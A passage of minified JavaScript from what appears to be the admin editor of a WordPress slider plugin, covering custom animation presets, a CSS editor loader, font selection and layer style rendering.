open"),!1}),RVS.DOC.on("mouseover",".load_anim_value_wrap",function(){window.timelineTemporaryCached||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline))}),RVS.DOC.on("mouseleave",".load_anim_value_wrap",function(){window.timelineTemporaryCached=!1,void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(RVS.L[RVS.selLayers[0]].timeline=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache)),delete RVS.L[RVS.selLayers[0]].timelinecache,clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation(),RVS.F.buildMainTimeLine(),RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"load_anim_value_left"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})}),RVS.DOC.on("mouseover",".layer_trans_liste",function(){if("custom"===this.dataset.tindex)return!1;void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(R(RVS.LIB.LAYERANIMS[this.dataset.lindex][this.dataset.gindex].transitions[this.dataset.tindex]),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0],time:"out"===this.dataset.lindex?"frame_999":void 0}))}),RVS.DOC.on("click",".layer_trans_liste",function(){if(void 0!==RVS.L[RVS.selLayers[0]].timelinecache){if("custom"===this.dataset.tindex){var e=jQuery(this);return this.dataset.mode="create",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}return RVS.F.changeLayerAnimation({direction:this.dataset.lindex,group:this.dataset.gindex,transition:this.dataset.tindex,fromLayerTransListe:!0}),!1}}),RVS.DOC.on("hideCustomLayerNameEntering",function(){jQuery(".cla_showentername").removeClass("cla_showentername")}),RVS.DOC.on("click",".edit_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="rename",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".delete_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="delete",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".save_custom_layeranimation",function(){var e=void 0!==this.dataset.evt?jQuery(this).closest(".presets_listelement"):jQuery(this).closest(".layer_trans_liste");return e[0].dataset.mode="overwrite",e.addClass("cla_showmessage"),e.find(".cla_message").text(RVS_LANG.overwritetemplate),RVS.S.waitOnFeedback={allowed:["cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".cla_answer_no",function(){return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("click",".cla_answer_yes",function(){if(void 0!==this.dataset.evt){var e=jQuery(this).closest(".presets_listelement"),t=e[0].dataset.mode,i=e.find(".cla_entername").val();"create"===t&&(o=jQuery('<div data-custom="true" data-evt="'+this.dataset.evt+'" class="presets_listelement dark_btn"><span class="cla_custom_name">'+i+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input data-evt="'+this.dataset.evt+'" type="text" value="'+i+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i data-evt="'+this.dataset.evt+'" class="cla_answer_yes material-icons">done</i><i data-evt="'+this.dataset.evt+'" class="cla_answer_no material-icons">close</i><i data-evt="'+this.dataset.evt+'" class="edit_custom_layeranimation material-icons">edit</i><i data-evt="'+this.dataset.evt+'" class="save_custom_layeranimation material-icons">save</i><i data-evt="'+this.dataset.evt+'" class="delete_custom_layeranimation material-icons">delete</i></div></div>'),e.closest(".presets_listelements").append(o)),RVS.DOC.trigger(this.dataset.evt,{mode:t,element:o,pl:e,key:e[0].dataset.key,newname:i})}else{var a=jQuery(this).closest(".layer_trans_liste"),t=a[0].dataset.mode,r=RVS.LIB.LAYERANIMS[a[0].dataset.lindex][a[0].dataset.gindex];switch(t){case"rename":case"overwrite":case"create":var s,o,i=a.find(".cla_entername").val(),n={name:i};"custom"!==a.data("tindex")&&"create"!==t||(o=jQuery('<div data-lindex="'+a.data("lindex")+'" data-gindex="'+a.data("gindex")+'" class="layer_trans_liste dark_btn"><span class="cla_custom_name">'+i+'</span><div class="cla_message">'+RVS_LANG.overwritetemplate+'</div><input type="text" value="'+i+'" class="cla_entername"><div class="custom_layer_animation_toolbar"><i class="cla_answer_yes material-icons">done</i><i class="cla_answer_no material-icons">close</i><i class="edit_custom_layeranimation material-icons">edit</i><i class="save_custom_layeranimation material-icons">save</i><i class="delete_custom_layeranimation material-icons">delete</i></div></div>'),a.closest(".lainner_transitions").append(o)),"overwrite"!==t&&"custom"!==a.data("tindex")&&"create"!==t||("in"===a.data("lindex")?(n.frame_0=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_0)),n.frame_1=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_1))):"out"===a.data("lindex")?n.frame_999=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.frames.frame_999)):"loop"===a.data("lindex")&&((n=u(jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache.loop))).name=i)),"overwrite"!==t&&"rename"!=t||(s=a.data("tindex")),"rename"===t&&(n=r.transitions[s],r.transitions[s].name=i),RVS.F.ajaxRequest("save_animation",{id:s,obj:n,type:a[0].dataset.lindex},function(e){e.success&&(r.transitions[e.id]=n,"custom"!==a.data("tindex")&&"create"!==t||(o[0].dataset.tindex=e.id),"rename"===t&&a.find(".cla_custom_name").text(i))});break;case"delete":RVS.F.ajaxRequest("delete_animation",{id:a[0].dataset.tindex},function(e){e.success&&(delete r.transitions[a[0].dataset.tindex],a.remove())})}}return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),jQuery(".cla_showentername").removeClass("cla_showentername"),jQuery(".cla_showmessage").removeClass("cla_showmessage"),!1}),RVS.DOC.on("SvgSelectAllChanged",function(e,t){void 0!==t&&void 0!==t.layerid&&(RVS.H[t.layerid].c[0].innerHTML=RVS.L[t.layerid].svg.renderedData,RVS.H[t.layerid].svg=RVS.H[t.layerid].w.find("svg"),RVS.H[t.layerid].svgPath=RVS.H[t.layerid].w.find(RVS.L[t.layerid].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"))})},RVS.F.updateCustomCSS=function(){"FAIL"!==window.customLayerCss_editor&&("undefined"==typeof RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.updateCustomCSS()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.customLayerCss_editor="FAIL"})):void 0===window.customLayerCss_editor?(window.customLayerCss_editor=RevMirror(document.getElementById("custom_css_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customLayerCss_editor.on("focus",function(){window.customLayerCss_editor.refresh()}),window.customLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customCSS=window.customLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):void 0===window.customHoverLayerCss_editor?(window.customHoverLayerCss_editor=RevMirror(document.getElementById("custom_css_hover_layer_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),window.customHoverLayerCss_editor.on("focus",function(){window.customHoverLayerCss_editor.refresh()}),window.customHoverLayerCss_editor.on("change",function(e,t){RVS.L[RVS.selLayers[0]].customHoverCSS=window.customHoverLayerCss_editor.getValue()}),setTimeout(RVS.F.updateCustomCSS,200)):RVS.F.updateCusCSSContent())},RVS.F.updateCusCSSContent=function(){RVS.selLayers.length>0&&null!=window.customLayerCss_editor&&(window.customLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customCSS),setTimeout(function(){window.customLayerCss_editor.refresh()},200)),RVS.selLayers.length>0&&void 0!==window.customHoverLayerCss_editor&&(window.customHoverLayerCss_editor.setValue(RVS.L[RVS.selLayers[0]].customHoverCSS),setTimeout(function(){window.customHoverLayerCss_editor.refresh()},200))},RVS.F.compareGoogleFontName=function(t,i){if(void 0!==t&&""!==t&&0!=t.length){e=void 0===e?{source:[],result:[]}:e;var a=jQuery.inArray(t,e.source),r=0;if(a>=0)return e.result[a];for(a=!1,e.source.push(t);r<RVS.LIB.FONTS.length&&!a;)(t===RVS.LIB.FONTS[r].labelLowerCase||t===RVS.LIB.FONTS[r].label||i&&t.toLowerCase()===RVS.LIB.FONTS[r].labelLowerCase)&&(t=RVS.LIB.FONTS[r].label,a=!0),r++;return e.result.push(t),t}},RVS.F.initFontTypes=function(e){RVS.LIB.FONTS=JSON.parse(e);var t=jQuery("#layer_fontfamily"),i="";for(var r in RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(r)&&("Dont Show Me"!==RVS.LIB.FONTS[r].label&&""!==RVS.LIB.FONTS[r].label&&(i+='<option value="'+RVS.LIB.FONTS[r].label.split('"').join("'")+'">'+RVS.LIB.FONTS[r].label.split('"').join("")+"</option>"),RVS.LIB.FONTS[r].labelLowerCase=RVS.LIB.FONTS[r].label.toLowerCase());t[0].innerHTML=i,t.ddTP("change"),void 0===o&&(o=!0,RVS.DOC.on("mouseenter",".ddTP_C--fontfamily .ddTP_RO",function(){void 0===this.dataset.val&&(this.dataset.val=this.innerHTML);var e=this.dataset.val.replace(/\ /g,"_");a=this.dataset.val,void 0!==n[e]&&RVS.F.showTextLayerWithFont({family:a})}),RVS.DOC.on("mouseleave",".ddTP_C--fontfamily",function(){RVS.F.resetFontFamiliesOnSelectedLayers()}))},RVS.F.checkAvailableFontWeights=function(e){if(0!==RVS.selLayers.length){t=void 0===t?jQuery("#layer_fontweight_idle"):t,void 0===i&&(i=[],t.find("option").each(function(){i.push({option:this,state:!0})}));var a=[];for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.selLayers[r];"text"!==(V=RVS.L[s]).type&&"button"!==V.type||-1==jQuery.inArray(V.idle.fontFamily,a)&&a.push({family:V.idle.fontFamily,weights:[]})}for(var o in i)i.hasOwnProperty(o)&&(t.find('option[value="'+i[o].option.value+'"]').prop("disabled",!1),i[o].state=!0);for(var n in a)if(a.hasOwnProperty(n)){var d=a[n].family;if(d.length>0)for(var S in RVS.LIB.FONTS)if(RVS.LIB.FONTS.hasOwnProperty(S)){var c=RVS.LIB.FONTS[S];if(c.label===d)for(var o in i)if(i.hasOwnProperty(o)){var p=i[o].option.value;jQuery.inArray(p,c.variants)>=0||"websafe"===c.type?a[n].weights.push(p):i[o].state&&(t.find('option[value="'+p+'"]').prop("disabled","disabled"),i[o].state=!1)}}}var u=!1,R=!1;for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var V;s=RVS.selLayers[r];if("text"===(V=RVS.L[s]).type||"button"===V.type){var y=-1;for(var n in a)a.hasOwnProperty(n)&&a[n].family==V.idle.fontFamily&&""!==a[n].family&&(y=n);if(y>=0)for(var m in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(m)){var f=RVS.V.sizes[m];if(-1==jQuery.inArray(V.idle.fontWeight[f].v,a[y].weights)){!1===R&&!1===RVS.S.bckpGrp&&(R=!1===RVS.S.bckpGrp?"started":"inProgress",RVS.F.openBackupGroup({id:"fontWeight",txt:"Font Weight",icon:"layers",lastkey:"layer"})),u=!0;var g=l({v:V.idle.fontWeight[f].v,a:a[y].weights});RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+s+".idle.fontWeight."+f+".v",val:g})}}}}"started"===R&&RVS.F.closeBackupGroup({id:"fontWeight"}),u&&RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_font"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),e||(t.hasClass("ddTP-hidden-accessible")&&t.ddTP("destroy"),t.ddTP({placeholder:"Select"}))}},RVS.F.showTextLayerWithFont=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t],a=RVS.L[i],r=RVS.H[i].c;"text"!==a.type&&"button"!==a.type||r.css({fontFamily:"'"+e.family+"'"})}},RVS.F.resetFontFamiliesOnSelectedLayers=function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e],i=RVS.L[t];"text"!==i.type&&"button"!==i.type||RVS.F.drawHTMLLayer({uid:t})}},RVS.F.getDashArray=function(e){return(RVS.F.isNumeric(e)||-1===e.indexOf(",")&&-1===e.indexOf(" ")||1===e.split(",").length||1===e.split(" ").length)&&(e=e+" "+e),e},RVS.F.drawSlideBasedPercenatages=function(){requestAnimationFrame(function(){if(null==RVS.S.ulDIMCache||RVS.S.ulDIM.width!==RVS.S.ulDIMCache.width||RVS.S.ulDIM.height!==RVS.S.ulDIMCache.height){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&null!=RVS.L[e].behavior&&"slide"===RVS.L[e].behavior.baseAlign&&""+RVS.L[e].group.puid=="-1"&&((""+RVS.L[e].size.width[RVS.screen].v).indexOf("%")>=0&&tpGS.gsap.set(RVS.H[e].w,{width:(RVS.F.CHOR()?RVS.S.lgw:Math.max(RVS.S.ulDIM.width-RVS.S.vertCarOff,RVS.S.lgw))*(parseInt(RVS.L[e].size.width[RVS.screen].v)/100)}),(""+RVS.L[e].size.height[RVS.screen].v).indexOf("%")>=0&&tpGS.gsap.set(RVS.H[e].w,{height:Math.max(RVS.S.ulDIM.height,RVS.S.lgh)*(parseInt(RVS.L[e].size.height[RVS.screen].v)/100)}));RVS.S.ulDIMCache={width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height}}})},RVS.F.drawHTMLLayer=function(e){if(!RVS.S.drawHTMLLayersCalled)return;if(void 0===RVS.H[e.uid]){if(!0===e.recheck)return;e.recheck=!0,setTimeout(function(){RVS.F.drawHTMLLayer(e)},500)}var t,i=RVS.H[e.uid],a=RVS.L[e.uid];if(void 0===i)return;var r=i.c[0].className.indexOf("placeholder_on")>=0;manipulate=void 0!==a.subtype&&void 0!==RVS.F.drawLayerExt&&void 0!==RVS.F.drawLayerExt[a.subtype]&&RVS.F.drawLayerExt[a.subtype](e.uid),i.c[0].className="_lc_content_"+(r?" placeholder_on":"")+(manipulate&&void 0!==manipulate.CN?manipulate.CN:"")+(void 0!==a.idle.style?" "+a.idle.style:"")+(void 0!==a.runtime.internalClass?" "+a.runtime.internalClass:"");var s={textAlign:a.idle.textAlign[RVS.screen].v,boxSizing:"border-box",transformStyle:a.timeline.split?"preserve-3d":"flat",fontFamily:void 0!==a.idle.fontFamily?-1===a.idle.fontFamily.indexOf(",")?"'"+a.idle.fontFamily+"'":a.idle.fontFamily:"Roboto",fontSize:parseInt(a.idle.fontSize[RVS.screen].v,0)+"px",lineHeight:parseInt(a.idle.lineHeight[RVS.screen].v,0)+"px",fontWeight:void 0===a.idle.fontWeight[RVS.screen].v?400:a.idle.fontWeight[RVS.screen].v,color:window.RSColor.get(a.idle.color[RVS.screen].v),letterSpacing:parseFloat(a.idle.letterSpacing[RVS.screen].v)+"px",fontStyle:"normal"===a.idle.fontStyle||!1===a.idle.fontStyle?"normal":"italic",textDecoration:"row"===a.type||"column"===a.type||"group"===a.type?"none":a.idle.textDecoration,textTransform:a.idle.textTransform,borderColor:"column"===a.type?"transparent":window.RSColor.get(a.idle.borderColor),borderRadius:a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",borderWidth:a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",borderStyle:a.idle.borderStyle[RVS.screen].v,width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v,whiteSpace:"normal"==a.idle.whiteSpace[RVS.screen].v||"full"==a.idle.whiteSpace[RVS.screen].v?"normal":"nowrap",paddingTop:a.idle.padding[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1],paddingBottom:a.idle.padding[RVS.screen].v[2],paddingLeft:a.idle.padding[RVS.screen].v[3],minWidth:"none"===a.size.minWidth[RVS.screen].v?0:a.size.minWidth[RVS.screen].v,minHeight:"none"===a.size.minHeight[RVS.screen].v?0:a.size.minHeight[RVS.screen].v,maxWidth:a.size.maxWidth[RVS.screen].v,maxHeight:a.size.maxHeight[RVS.screen].v,boxShadow:a.idle.boxShadow.inuse?a.idle.boxShadow.color+" "+a.idle.boxShadow.hoffset[RVS.screen].v+" "+a.idle.boxShadow.voffset[RVS.screen].v+" "+a.idle.boxShadow.blur[RVS.screen].v+" "+a.idle.boxShadow.spread[RVS.screen].v+" ":"none"},o={rotationX:a.hover.rotationX,rotationY:a.hover.rotationY,rotationZ:a.hover.rotationZ,autoAlpha:a.hover.opacity,transformPerspective:RVS.SLIDER.settings.general.perspective,transformOrigin:a.hover.originX+" "+a.hover.originY+" "+a.hover.originZ,skewX:a.hover.skewX,skewY:a.hover.skewY,scaleX:a.hover.scaleX,scaleY:a.hover.scaleY,borderColor:window.RSColor.get(manipulate&&void 0!==manipulate.hoverBorderColor?manipulate.hoverBorderColor:a.hover.borderColor),borderTopLeftRadius:a.hover.borderRadius.v[0],borderTopRightRadius:a.hover.borderRadius.v[1],borderBottomRightRadius:a.hover.borderRadius.v[2],borderBottomLeftRadius:a.hover.borderRadius.v[3],borderTopWidth:a.hover.borderWidth[0],borderRightWidth:a.hover.borderWidth[1],borderBottomWidth:a.hover.borderWidth[2],borderLeftWidth:a.hover.borderWidth[3],borderStyle:a.hover.borderStyle,color:window.RSColor.get(manipulate&&void 0!==manipulate.hoverColor?manipulate.hoverColor:a.hover.color),textDecoration:a.hover.textDecoration},n="row"===a.type?{marginTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:"column"===a.type?{paddingTop:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.margin[RVS.screen].v[1],paddingBottom:a.idle.margin[RVS.screen].v[2],paddingLeft:a.idle.margin[RVS.screen].v[3]}:{marginTop:a.idle.margin[RVS.screen].v[0],marginRight:a.idle.margin[RVS.screen].v[1],marginBottom:a.idle.margin[RVS.screen].v[2],marginLeft:a.idle.margin[RVS.screen].v[3]},l=window.RSColor.get(a.idle.backgroundColor),d=window.RSColor.get(manipulate&&void 0!==manipulate.hoverBG?manipulate.hoverBG:a.hover.backgroundColor),S="video"===a.type?a.media.posterUrl:a.idle.backgroundImage,c={};if(!1===a.visibility[RVS.screen]?n.opacity=.25:n.opacity=1,a.idle.textShadow.inuse?s.textShadow=a.idle.textShadow.hoffset[RVS.screen].v+" "+a.idle.textShadow.voffset[RVS.screen].v+" "+a.idle.textShadow.blur[RVS.screen].v+" "+a.idle.textShadow.color:s["text-shadow"]="none",a.idle.textStroke.inuse?s["-webkit-text-stroke"]=parseInt(a.idle.textStroke.width[RVS.screen].v,0)+"px "+a.idle.textStroke.color:s["-webkit-text-stroke"]="0 transparent","column"==a.type&&(c.borderColor=window.RSColor.get(a.idle.borderColor),c.borderWidth=a.idle.borderWidth[0]+" "+a.idle.borderWidth[1]+" "+a.idle.borderWidth[2]+" "+a.idle.borderWidth[3]+" ",c.borderStyle=a.idle.borderStyle[RVS.screen].v),void 0!==S&&S.length>4&&-1==l.indexOf("gradient")?"column"===a.type||"row"===a.type?(c.backgroundImage='url("'+S+'")',c.backgroundPosition=a.idle.backgroundPosition,c["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,c.backgroundRepeat=a.idle.backgroundRepeat):(s.backgroundImage='url("'+S+'")',s.backgroundPosition=a.idle.backgroundPosition,s["background-size"]="percentage"===a.idle.backgroundSize?a.idle.backgroundSizePerc+"%":"pixel"===a.idle.backgroundSize?a.idle.backgroundSizePix+"px":a.idle.backgroundSize,s.backgroundRepeat=a.idle.backgroundRepeat,"transparent"!==l&&(s.backgroundColor=l),"transparent"!==d&&(o.backgroundColor=d)):("column"===a.type||"row"===a.type?(c.backgroundImage="",c.transformStyle="preserve-3d"):s.background=l,-1==d.indexOf("gradient")?o.backgroundColor=d:o.background=d),"column"===a.type||"row"===a.type){c.left="column"===a.type?0:a.idle.margin[RVS.screen].v[3],c.right="column"===a.type?0:a.idle.margin[RVS.screen].v[1],c.top=0,c.bottom=0,c.borderRadius=a.idle.borderRadius.v[0]+" "+a.idle.borderRadius.v[1]+" "+a.idle.borderRadius.v[2]+" "+a.idle.borderRadius.v[3]+" ",tpGS.gsap.set(i.bg,c),"column"===a.type&&tpGS.gsap.set(i.bgmask,{top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1]});var p=[parseInt(a.idle.borderWidth[0]),parseInt(a.idle.borderWidth[1]),parseInt(a.idle.borderWidth[2]),parseInt(a.idle.borderWidth[3])];tpGS.gsap.set(i.margins.top,{height:a.idle.margin[RVS.screen].v[0],top:"row"===a.type?0-a.idle.margin[RVS.screen].v[0]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.bottom,{height:a.idle.margin[RVS.screen].v[2],bottom:"row"===a.type?0-a.idle.margin[RVS.screen].v[2]:"0",paddingRight:a.idle.margin[RVS.screen].v[1],paddingLeft:a.idle.margin[RVS.screen].v[3]}),tpGS.gsap.set(i.margins.left,{width:a.idle.margin[RVS.screen].v[3],lineHeight:a.idle.margin[RVS.screen].v[0]}),tpGS.gsap.set(i.margins.right,{width:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.paddings.top,{height:a.idle.padding[RVS.screen].v[0]+p[0],top:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.bottom,{height:a.idle.padding[RVS.screen].v[2]+p[2],bottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2],paddingRight:a.idle.padding[RVS.screen].v[1]+a.idle.margin[RVS.screen].v[1]+p[1],paddingLeft:a.idle.padding[RVS.screen].v[3]+a.idle.margin[RVS.screen].v[3]+p[3]}),tpGS.gsap.set(i.paddings.left,{left:a.idle.margin[RVS.screen].v[3],width:a.idle.padding[RVS.screen].v[3]+p[3],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),tpGS.gsap.set(i.paddings.right,{right:a.idle.margin[RVS.screen].v[1],width:a.idle.padding[RVS.screen].v[1]+p[1],paddingTop:"row"===a.type?0:a.idle.margin[RVS.screen].v[0],paddingBottom:"row"===a.type?0:a.idle.margin[RVS.screen].v[2]}),"column"===a.type?(tpGS.gsap.set(i.borders.top,{top:a.idle.margin[RVS.screen].v[0],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"}),tpGS.gsap.set(i.borders.bottom,{bottom:a.idle.margin[RVS.screen].v[2],left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3],top:a.idle.margin[RVS.screen].v[0],bottom:a.idle.margin[RVS.screen].v[2],height:"auto"})):(tpGS.gsap.set([i.borders.bottom,i.borders.top],{left:a.idle.margin[RVS.screen].v[3],right:a.idle.margin[RVS.screen].v[1],width:"auto"}),tpGS.gsap.set(i.borders.right,{right:a.idle.margin[RVS.screen].v[1]}),tpGS.gsap.set(i.borders.left,{left:a.idle.margin[RVS.screen].v[3]}))}else"video"===a.type?(i.vtitle.textContent=a.media.mediaType,i.volay.style.backgroundImage=RVS._R.createOverlay("slide",a.media.dotted,a.media.dottedSize,{0:a.media.dottedColorA,1:a.media.dottedColorB})):"audio"===a.type?!1===a.media.controls?(i.c[0].classList.add("placeholder_on"),i.c[0].classList.remove("audio_controls_on")):(i.c[0].classList.add("audio_controls_on"),i.c[0].classList.remove("placeholder_on")):"shape"===a.type&&i.c[0].classList[a.idle.bgFromStream?"add":"remove"]("placeholder_on");n.verticalAlign="inherit","column"!==a.type&&"group"!==a.type||(n.verticalAlign=a.idle.verticalAlign,s.verticalAlign=a.idle.verticalAlign);let u=-1!=a.group.puid&&("column"===RVS.L[a.group.puid].type||"group"===RVS.L[a.group.puid].type);u?(n.display=s.display=a.idle.display,n.float=a.idle.float[RVS.screen].v,n.clear=a.idle.clear[RVS.screen].v):"row"!==a.type&&"column"!==a.type&&(s.display="block",n.clear="none"),void 0!==a.hover.filter.blur&&(t="blur("+parseInt(a.hover.filter.blur,0)+"px)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.grayscale&&(t="grayscale("+parseInt(a.hover.filter.grayscale,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),void 0!==a.hover.filter.brightness&&(t="brightness("+parseInt(a.hover.filter.brightness,0)+"%)",o["-webkit-filter"]=void 0===o["-webkit-filter"]?t:o["-webkit-filter"]+" "+t,o.filter=void 0===o.filter?t:o.filter+" "+t),"blur(0px) grayscale(0%) brightness(100%)"===o.filter&&(o.filter="",o["-webkit-filter"]=""),a.timeline.hoverFilterUsed=void 0!==o.filter&&""!==o.filter,i.w_width=s.width="auto"==a.size.width[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.width[RVS.screen].v),i.w_height=s.height="auto"==a.size.height[RVS.screen].v?"auto":RVS.F.smartConvertDivs(a.size.height[RVS.screen].v),"image"===a.type&&(s.overflow="hidden");var R=RVS.F.convertFraction(a.group.columnSize);"fullinset"==a.size.covermode&&u&&"absolute"==a.position.position&&"100%"==a.size.width[RVS.screen].v?(n.marginLeft="0px",n.marginRight="0px",n.width="auto"):n.width="column"==a.type?100*R+"%":"slide"===a.behavior.baseAlign&&""+a.group.puid=="-1"&&(""+i.w_width).indexOf("%")>=0?(RVS.F.CHOR()?RVS.S.lgw:Math.max(RVS.S.ulDIM.width-RVS.S.vertCarOff,RVS.S.lgw))*(parseInt(i.w_width)/100):i.w_width,"fullinset"==a.size.covermode&&u&&"absolute"==a.position.position&&"100%"==a.size.height[RVS.screen].v?(n.marginTop="0px",n.marginBottom="0px",n.height="auto"):n.height="column"==a.type||"row"==a.type?"auto":"slide"===a.behavior.baseAlign&&(""+i.w_height).indexOf("%")>=0?Math.max(RVS.S.ulDIM.height,RVS.S.lgh)*(parseInt(i.w_height)/100):i.w_height,n.maxWidth="column"==a.type?"0px":void 0===n.maxWidth?"none":n.maxWidth,s.width="column"==a.type||"row"==a.type?"100%":s.width,s.height="column"==a.type||"row"==a.type?"auto":s.height;var V="slide"===a.behavior.baseAlign?RVS.F.updateCoveredLayer(a.uid):void 0;if("column"===a.type)s.whiteSpace="normal","notebook"===(y=RVS.L[a.group.puid].group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===y&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===y&&"m"===RVS.screen?(n.display="block",s.width="100%",n.width="100%",n.maxWidth="none"):n.display="table-cell";else if("row"===a.type){var y;n.width="100%","notebook"===(y=a.group.columnbreakat)&&("n"===RVS.screen||"t"===RVS.screen||"m"===RVS.screen)||"tablet"===y&&("t"===RVS.screen||"m"===RVS.screen)||"mobile"===y&&"m"===RVS.screen?s.display="block":s.display="table"}else 